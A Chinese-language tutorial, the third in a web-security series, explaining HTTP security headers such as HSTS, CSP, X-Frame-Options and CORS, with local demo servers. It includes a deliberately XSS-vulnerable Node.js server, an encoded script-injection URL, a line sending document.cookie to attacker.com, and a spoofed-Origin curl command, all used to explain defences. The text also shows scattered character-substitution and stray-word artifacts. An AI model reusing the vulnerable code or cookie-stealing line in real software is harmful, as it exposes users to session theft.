这是关于web安全性系列文章的第 三 篇,其它的可点击如下查看:javascript
目前,浏览器已经实现了大量与安全相关的头文件,使攻击者更难利用漏洞。接下来的讲解它们的使用方式、它们防止的攻击类型以及每一个头后面的一些历史。php
想阅读更多优质文章请猛戳GitHub博客,一年百来篇优质文章等着你!html
HSTS(HTTP Strict Transport Security)国际互联网工程组织IETF正在推行一种新的Web安全协议,HSTS 的做用是强制客户端(如浏览器)使用 HTTPS 与服务器建立链接。
自 2012 年末以来,HTTPS 无处不在的支持者发现,因为 HTTP 严格传输安全性,强制客户端老是使用 HTTP 协议的安全版本更容易:一个很是简单的设置 Strict-Transport-Security: max-age=3600
将告诉浏览器 对于下一个小时(3600秒),它不该该与具备不安全协议的应用程序进行交互。前端
当用户尝试经过 HTTP 访问由 HSTS 保护的应用程序时,浏览器将拒绝继续访问,自动将 http://
的 URL 转换为 https://
。java
你可使用 github.com/odino/wasec/tree/master/hsts
中的代码在本地测试这个。你须要遵循 README 中的说明(它们经过 mkcert 工具在你的电脑上的localhost
安装可信的 SSL 证书),而后尝试打开 https://localhost:7889
。git
在这个示例中有两个服务器,一个 HTTPS 服务器监听 7889
,另外一个 HTTP 服务器监听端口 7888
。当你访问 HTTPS 服务器时,它老是试图重定向到 HTTP 版本,这将正常工做,由于 HTTPS 服务器上没有 HSTS 策略。若是在 URL 中添加 hsts=on
参数,浏览器将强制将重定向中的连接转换为 https://
版本。因为 7888
上的服务器只支持 http,因此最终将看到相似于这样的页面。github
你可能想知道用户第一次访问你的网站时会发生什么,由于事先没有定义 HSTS 策略:攻击者可能会欺骗用户访问你网站的 http://
版本并在那里进行攻击,因此仍然存在问题,由于 HSTS 是对首次使用机制的信任,它试图作的是确保,一旦你访问过网站,浏览器就知道后续交互必须使用 HTTPS。web
解决这个缺点的一个方法是维护一个海量的数据库,其中包含了执行 HSTS 的网站,这是Chrome 经过 hstspreload.org 实现的。你必须首先设置安全的方案,而后访问网站并检查它是否符合添加到数据库的条件。例如,咱们能够在这看到 Facebook 榜上有名。数据库
将你的的网站提交到这个列表中,就能够提早告诉浏览器你的网站使用 HSTS,这样即便客户端和服务器之间的第一次交互也将经过一个安全通道进行。可是这是有代价的,由于你确实须要投入到 HSTS 中。若是你但愿你的网站从列表中删除,这对浏览器厂商来讲不是件容易的事:json
请注意,预加载列表中的内容没法轻松撤消。域名能够被移除,可是 Chrome 的更新须要几个月的时间才能让用户看到变化,咱们不能保证其余浏览器也同样。不要请求包含,除非您肯定可以长期支持整个站点及其全部子域的HTTPS。
这是由于供应商不能保证全部用户都使用最新版本的浏览器,而你的站点已从列表中删除。仔细考虑,并根据你对 HSTS 的信心程度和长期支持 HSTS 的能力作出决定。
HTTP 公钥固定是一种安全机制,它的工做原理是经过响应头或者 <meta>
标签告诉浏览器当前网站的证书指纹,以及过时时间等其它信息。将来一段时间内,浏览器再次访问这个网站必须验证证书链中的证书指纹,若是跟以前指定的值不匹配,即使证书自己是合法的,也必须断开链接。
目前 Firefox 35+ 和 Chrome 38+ 已经支持, HPKP 基本格式以下:
Public-Key-Pins: pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu="; pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3="; max-age=3600; includeSubDomains; report-uri="https://pkpviolations.example.org/collect"
各字段含义以下:
报头使用证书的散列列出服务器将使用哪些证书(在本例中是其中的两个证书),并包含附加信息,好比这个指令的生存时间(max-age=3600
)和其余一些细节。遗憾的是,咱们没有必要深刻了解咱们能够用公钥钉固定作什么,由于这个功能已经被 Chrome 弃用了——这是一个信号,这一信号代表它的采用很快就会直线降低。
Chrome 的决定并非不理性的,而仅仅是与公钥固定相关的风险的结果。若是wq丢失了证书,或者只是在测试时犯了一个错误,你的网站将没法访问以前访问过该网站的用户(在max-age指令期间,一般是几周或几个月)。
因为这些潜在的灾难性后果,HPKP 的使用率一直很是低,而且出现了因为错误配置致使大型网站没法访问的事件。综上所述,Chrome 认为没有 HPKP提 供的保护,用户会过得更好——安全研究人员并不彻底反对这一决定。
虽然 HPKP 已经被弃用,可是一个新的头介入进来,防止欺骗 SSL 证书被提供给客户端:Expect-CT
。
Expect-CT
头容许站点选择性报告和/或执行证书透明度 (Certificate Transparency) 要求,来防止错误签发的网站证书的使用不被察觉。当站点启用 Expect-CT
头,就是在请求浏览器检查该网站的任何证书是否出如今公共证书透明度日志之中。
CT 基本格式以下:
Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"
max-age:
该指令指定接收到 Expect-CT
头后的秒数,在此期间用户代理应将收到消息的主机视为已知的 Expect-CT 主机。
若是缓存接收到的值大于它能够表示的值,或者若是其随后计算溢出,则缓存将认为该值为2147483648(2的31次幂)或其能够方便表示的最大正整数。
report-uri="<uri>" 可选
该指令指定用户代理应向其报告 Expect-CT 失效的 URI。
当 enforce 指令和 report-uri 指令共同存在时,这种配置被称为“强制执行和报告”配置,示意用户代理既应该强制遵照证书透明度政策,也应当报告违规行为。
enforce 可选
该指令示意用户代理应强制遵照证书透明度政策(而不是只报告合规性),而且用户代理应拒绝违反证书透明度政策的以后链接。
当 enforce
指令和 report-uri
指令共同存在时,这种配置被称为“强制执行和报告”配置,示意用户代理既应该强制遵照证书透明度政策,也应当报告违规行为。
CT 计划的目标是比之前使用的任何其余方法更早、更快、更精确地检测错误颁发的或恶意的证书(以及流氓证书颁发机构)。
经过选择使用 Expect-CT
头,你能够利用这一优点来改进应用程序的安全状态。
想象一下,在你的屏幕前弹出这样一个网页:
只要你点击这个连接,你就会发现你银行帐户里的钱都不见了,发生了什么事?
你是点击劫持攻击的受害者。
攻击者将你引导至他们的网站,该网站显示了一个很是有吸引力的点击连接。 不幸的是,他还在页面中嵌入了带了连接地址 your-bank.com/transfer?amount=-1&[attacker@gmail.com
的 iframe,且经过设置透明度为 0%来隐藏它。
而后发生的事情是想到点击原始页面,试图赢得一个全新的悍马,这时浏览器上iframe上捕获了一个点击,这是一个确认转移资金的危险点击。
大多数银行系统要求你指定一次性 PIN
码来确认交易,但你的银行没有遇上时间且你的全部资金都已被转走了。
这个例子很是极端,但应该让你了解点击劫持攻击 可能带来的后果。 用户打算单击特定连接,而浏览器将触发嵌入 iframe
中“不可见”页面上的点击。
幸运的是,浏览器为这个问题提供了一个简单的解决方案: X-Frame-Options
(XFO),它容许您人定是否能够将应用程序做为 iframe 嵌入外部网站。因为 Internet Explorer 8 的普及,XFO 于2009 年首次引入,如今仍然受到全部主流浏览器的支持。
它的工做原理是,当浏览器看到 iframe
时,加载它并在渲染它以前验证它的 XFO 是否容许它包含在当前页面中。
X-Frame-Options 有三个值:
换一句话说,若是设置为 DENY
,不光在别人的网站 frame 嵌入时会没法加载,在同域名页面中一样会没法加载。另外一方面,若是设置为 SAMEORIGIN
,那么页面就能够在同域名页面的 frame 中嵌套。
包含最严格的 XFO 策略的 HTTP 响应示例以下:
HTTP/1.1 200 OK Content-Type: application/json X-Frame-Options: DENY ...
为了展现启用 XFO 时浏览器的行为,咱们只需将示例的 URL 更改成 http://localhost:7888/?xfo=on
。 xfo=on
参数告诉服务器在响应中包含 X-Frame-Options: deny
,咱们能够看到浏览器如何限制对 iframe 的访问:
XFO被认为是防止基于框架的点击劫持攻击的最佳方法,直到数年后出现了另外一种报头,即内容安全策略(Content Security Policy,简称CSP)。
内容安全策略(CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。不管是数据盗取、网站内容污染仍是散发恶意软件,这些攻击都是主要的手段。
为使CSP可用, 你须要配置你的网络服务器返回 Content-Security-Policy
HTTP头部 ( 有时你会看到一些关于 X-Content-Security-Policy
头部的提法, 那是旧版本,你无须再如此指定它)。
要了解 CSP 如何帮助咱们,咱们首先应该考虑攻击媒介。 假设咱们刚刚构建了本身的 Google 搜索,这是一个带有提交按钮的简单输入文本。
这个 web 应用程序没有什么神奇的功能。只是,
当咱们执行简单搜索时,这就是应用程序返回的内容:
咱们的应用程序很是理解咱们的搜索,并找到了一个相关的图像。若是咱们深刻研究源代码,能够在github.com/odino/wasec/tree/master/xss.com 上找到,咱们很快就会发现应用程序存在安全问题,由于用户搜索的任何关键字都直接打印在提供给客户端的 HTML 响应中:
var qs = require('querystring') var url = require('url') var fs = require('fs') require('http').createServer((req, res) => { let query = qs.parse(url.parse(req.url).query) let keyword = query.search || '' let results = keyword ? `You searched for "${keyword}", we found:</br><img src="http://placekitten.com/200/300" />` : `Try searching...` res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results)) }).listen(7888) <html> <body> <h1>Search The Web</h1> <form> <input type="text" name="search" value="__KEYWORD__" /> <input type="submit" /> </form> <div id="results"> __RESULTS__ </div> </body> </html>
这带来了一个糟糕的后果。攻击者能够建立一个特定的连接,在受害者浏览器中执行任意JavaScript。
若是你有时间和耐心在本地运行示例,你将可以快速了解 CSP 的强大功能。 我添加了一个启用CSP的查询字符串参数,所以咱们能够尝试在启用 CSP 的状况下导航到恶意 URL:
http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on
正如你在上面的例子中所看到的,咱们已经告诉浏览器,咱们的 CSP 策略只容许脚本包含在当前 URL 的同一来源,咱们能够经过展开 URL 和查看响应头来验证:
$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on" HTTP/1.1 200 OK X-XSS-Protection: 0 Content-Security-Policy: default-src 'self' Date: Sat, 11 Aug 2018 10:46:27 GMT Connection: keep-alive
因为 XSS 攻击是经过内联脚本(直接嵌入到HTML内容中的脚本)进行的,因此浏览器友好地拒绝执行它,以保证用户的安全。想象一下,若是攻击者不是简单地显示一个警告对话框,而是经过一些JavaScript代码将重定向到本身的域,代码可能以下:
window.location = `attacker.com/${document.cookie}`
他们原本能够窃取全部用户的 cookie,其中可能包含高度敏感的数据(下一篇文章中有更多内容)。
CSP的一个有趣的变化是 report-only
模式。能够不使用 Content-Security-Policy
头文件,而是首先使用 Content-Security-Policy-Report-Only
头文件测试 CSP 对你的网站的影响,方法是告诉浏览器简单地报告错误,而不阻塞脚本执行,等等。
经过报告,你能够了解要推出的 CSP 策略可能致使的重大更改,并相应地进行修复。 咱们甚至能够指定报告网址,浏览器会向咱们发送报告。 如下是 report-only 策略的完整示例:
Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector
CSP 策略自己可能有点复杂,以下例所示:
Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com
本策略定义了如下规则:
scripts.example.com
加载img-src: *
)medias.example.com
和 medias.legacy.example.com
正如你所看到的,策略可能会变得很长,若是咱们想确保为用户提供最高的保护,这可能会成为一个至关乏味的过程。不过,编写全面的 CSP 策略是向 web 应用程序添加额外安全层的重要一步。
HTTP X-XSS-Protection 响应头是Internet Explorer,Chrome和Safari的一个功能,当检测到跨站脚本攻击 (XSS)时,浏览器将中止加载页面。虽然这些保护在现代浏览器中基本上是没必要要的,当网站实施一个强大的 Content-Security-Policy
来禁用内联的 JavaScript ('unsafe-inline
')时, 他们仍然能够为尚不支持 CSP 的旧版浏览器的用户提供保护。
它的语法和咱们刚才看到的很是类似:
X-XSS-Protection: 1; report=http://xssviolations.example.com/collector
XSS 是最多见的攻击类型,其中未通过验证的服务器打印出未通过处理的输入,并且这个标题真正发挥做用。 若是你想亲眼看到这个,我建议你试试 github.com/odino/wasec/tree/master/xss 上的例子。
将 xss=on
附加到 URL 上,它显示了当 XSS 保护时浏览器作了什么 打开了。 若是咱们在搜索框中输入恶意字符串,例如 <script> alert('hello')</ script>
,浏览器将拒绝执行脚本,并解释其决定背后的缘由:
The XSS Auditor refused to execute a script in 'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on' because its source code was found within the request. The server sent an 'X-XSS-Protection' header requesting this behavior.
更有趣的是,当网页没有指定任何 CSP 或 XSS 策略时,Chrome 的默认行为,咱们能够经过将 XSS =off
参数添加到URL (http://localhost:7888/?search=%3Cscript%3Ealert%28% %27hello%27% %29%3C%2Fscript%3E&xss=off
) 来测试这个场景:
使人惊讶的是,Chrome 很是谨慎,它将阻止页面渲染,使得 XSS 的攻击很是难以实现。
2018 年 7 月,安全研究员 Scott Helme 发表了一篇很是有趣的博客文章,详细介绍了正在开发的一个新的安全标头: Feature-Policy
。
目前只有不多的浏览器(在撰写本文时是Chrome和Safari)支持这个标头,它容许咱们定义当前页面中是否启用了特定的浏览器功能。使用与 CSP 很是类似的语法,好比下面这个:
Feature-Policy: vibrate 'self'; push *; camera 'none'
若是咱们对此策略如何影响页面可用的浏览器 API 仍有疑问,咱们能够简单地剖析它:
vibrate 'self'
:这将容许当前页面使用vibration API 和同一源上的任何嵌套浏览上下文(iframe)push *
:当前页面和任何 iframe 均可以使用 push notification APIcamera 'none'
:当前页面和任何嵌套上下文(iframe)都拒绝访问 camera APIfeature policy
的历史可能很短,可是抢先一步也无妨。例如,若是你的网站容许用户自拍或录制音频,那么使用限制其余上下文经过你的页面访问 API 的策略将很是有益。
有时候,从安全的角度来看,聪明的浏览器功能最终会伤害咱们。 一个明显的例子是 MIME嗅探(MIME-sniffing),这是一种由 Internet Explorer 推广的技术。
MIME 嗅探是浏览器自动检测(和修复)正在下载的资源的内容类型的能力。 例如,咱们要求浏览器渲染图片 /awesome-picture.png
,但服务器在向浏览器提供图像时设置了错误的类型(例如,Content-Type:text/plain),这一般会致使浏览器没法正确显示图像。
为了解决这个问题,IE 不遗余力实现 MIME 嗅探功能:当下载资源时,浏览器会“扫描”它,若是它会检测到资源的内容类型不是由在 Content-Type
标头中的服务器,它将忽略服务器发送的类型并根据浏览器检测到的类型解释资源。
如今,想象一下,托管一个网站,容许用户上传本身的图像,并想象用户上传包含 JavaScript 代码的 /test.jpg
文件。 看看这是怎么回事? 上传文件后,该网站会将其包含在本身的 HTML 中,当浏览器尝试渲染文档时,它会找到用户刚刚上传的“图像”。 当浏览器下载图像时,它会检测到它是一个脚本,并在受害者的浏览器上执行它。
为了不这个问题,咱们能够设置 X-Content-Type-Options:nosniheader
,它彻底禁用 MIME 嗅探:经过这样作,咱们告诉浏览器,咱们彻底知道某些文件可能在类型和内容方面不匹配,浏览器不该该担忧这个问题。咱们知道咱们在作什么,因此浏览器不该该试图猜想,可能对咱们的用户构成安全威胁。
在浏览器上,经过 JavaScript,HTTP 请求只能在同一个源上触发。 简而言之,example.com
的AJAX 请求只能链接到 example.com
。
这是由于你的浏览器包含攻击者的有用信息 - Cookie
,一般用于跟踪用户的会话。 想象一下,若是攻击者在 win-a-hummer.com
上设置恶意页面,会当即向 your-bank.com
发出 AJAX 请求。
若是你在银行的网站上登陆,则攻击者可使用你的凭据执行 HTTP 请求,可能会窃取信息,或者更糟糕的是,将你的银行账户清除掉。
不过,在某些状况下可能须要执行跨域 AJAX 请求,这就是浏览器实现跨跨资源共享(Cross Origin Resource Sharing, CORS)的缘由,这是一组容许执行跨域请求的指令。
CORS 背后的机制很是复杂,咱们不可能通读整个规范,因此我将重点介绍 CORS 的“简化”版本。
如今,你只须要知道,经过使用 Access-Control-Allow-Origin
头,应用程序告诉浏览器能够接收来自其余域的请求。
这个宽松的形式设置 Access-Control-Allow-Origin: *
,它容许任何域访问咱们的应用程序,可是咱们能够经过使用 Access-Control-Allow-Origin: https://example.com
添加咱们想要列入白名单的 URL 来限制它。
若是咱们看看 github.com/odino/wasec/tree/master/cors 上的示例,咱们能够清楚地看到浏览器如何阻止访问单独来源的资源。 我已经设置了一个示例,用于从 test-cors
到 test-cors-2
发出 AJAX 请求,并将操做结果打印到浏览器。 当 test-cors-2
后面的服务器被指示使用 CORS 时,页面按预期工做。 尝试导航到 http://cors-test:7888/?cors=on
可是当咱们从 UR L中删除 cors
参数时,浏览器会介入并阻止咱们访问响应的内容:
咱们须要理解的一个重要方面是浏览器执行了请求,但阻止了客户端访问它。 这很是重要,由于若是咱们的请求会对服务器产生任何反作用,它仍然会使咱们容易受到攻击。 想象一下,例如,若是咱们的银行容许经过简单地调用 my-bank.com/transfer?amount=1000&from=me&to=attacker
来转移资金,那将是一场灾难!
正如咱们在本系列第一篇讲到,GET
请求应该是幂等的,但若是咱们尝试用 POST
请求会发生什么? 幸运的是,在示例中包含了这个场景,经过导航到 http://cors-test:7888/?method=POST:
来尝试:
浏览器发出“预检”请求,而不是直接执行咱们的 POST
请求,这可能会致使服务器出现严重问题。 这只是对服务器的 OPTIONS
请求,要求它验证咱们的来源是否被容许。 在这种状况下,服务器没有正面响应,所以浏览器中止进程,咱们的 POST 请求永远不会到达目标。
这告诉咱们一些事情:
GET
改变状态的 API。 攻击者能够在没有预检请求的状况下触发这些请求,这意味着根本没有保护。根据经验,我发现本身更愿意设置代理,以便将请求转发到正确的服务器,而不是使用 CORS
。这意味着运行在 example.com
上的应用程序能够在 example.com/_proxy/other.com
设置一个代理,这样全部位于 _proxy/other.com/*
下的请求均可以代理到 other.com
。
与 CORS 很是类似的是,X-Permitted-Cross-Domain-Policie
s 针对 Adobe 产品(即Flash和Acrobat)的跨域策略。
我不会详细介绍,由于这是一个针对很是特定用例的标头。长话短说,Adobe 产品经过请求目标域根目录中的 cross-domain.xml
文件处理跨域请求,而且 X-Permitted-Cross-Domain-Policies
定义了访问该文件的策略。
听起来复杂吗?我只建议添加一个 X-Permitted-Cross-Domain-Policies: none
并忽略但愿使用 Flash 跨域请求的客户端。
在咱们职业生涯的开始,咱们可能都犯了一样的错误。使用 Referer
头在咱们的网站上实现安全限制。若是头部在咱们定义的白名单中包含一个特定的 URL,咱们将容许用户访问。
Referrer-Policy
头文件诞生于 2017 年初,目前受到全部主流浏览器的支持,它能够告诉浏览器,它应该只屏蔽 Referer
头文件中的URL,或者彻底省 略URL,从而缓解这些隐私问题。
Referrer-Policy
一些最多见的值是:
值得注意的是,Referrer-Policy
有不少变体(trict-origin
、no-referrer-when-downgrade
等等),可是我上面提到的这些变体可能会涵盖你的大多数用例。若是你但愿更好地理解你可使用的每个变体,能够访问 OWASP dedicated page 了解。
Origin
标头与 Referer
很是类似,由于它是由浏览器在跨域请求中发送的,以确保容许调用者访问不一样域上的资源。 Origin 标头由浏览器控制,所以恶意用户没法篡改它。 你可能会将其用做Web应用程序的防火墙:若是 Origin
位于咱们的白名单中,请让请求经过。
但有一点须要考虑的是,其余 HTTP 客户端(如c URL)能够呈现本身的来源:简单的 curl -H "Origin: example.com" api.example.com
将使全部基于源的防火墙规则效率低下...... ...... 这就是为何你不能依靠 Origin
(或者咱们刚才看到的 Referer
)来构建防火墙来阻止恶意客户端。
本文应该向咱们介绍一些有趣的 HTTP 标头,让咱们了解它们如何经过特定于协议的功能强化咱们的Web 应用程序,以及主流浏览器的一些帮助。
在下一篇文章中,咱们将深刻研究HTTP协议中最容易被误解的特性之一: cookie。
代码部署后可能存在的BUG无法实时知道,过后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给你们推荐一个好用的BUG监控工具 Fundebug。
你的点赞是我持续分享好东西的动力,欢迎点赞!
干货系列文章汇总以下,以为不错点个Star,欢迎 加群 互相学习。
https://github.com/qq44924588...
我是小智,公众号「大迁世界」做者,对前端技术保持学习爱好者。我会常常分享本身所学所看的干货,在进阶的路上,共勉!
关注公众号,后台回复福利,便可看到福利,你懂的。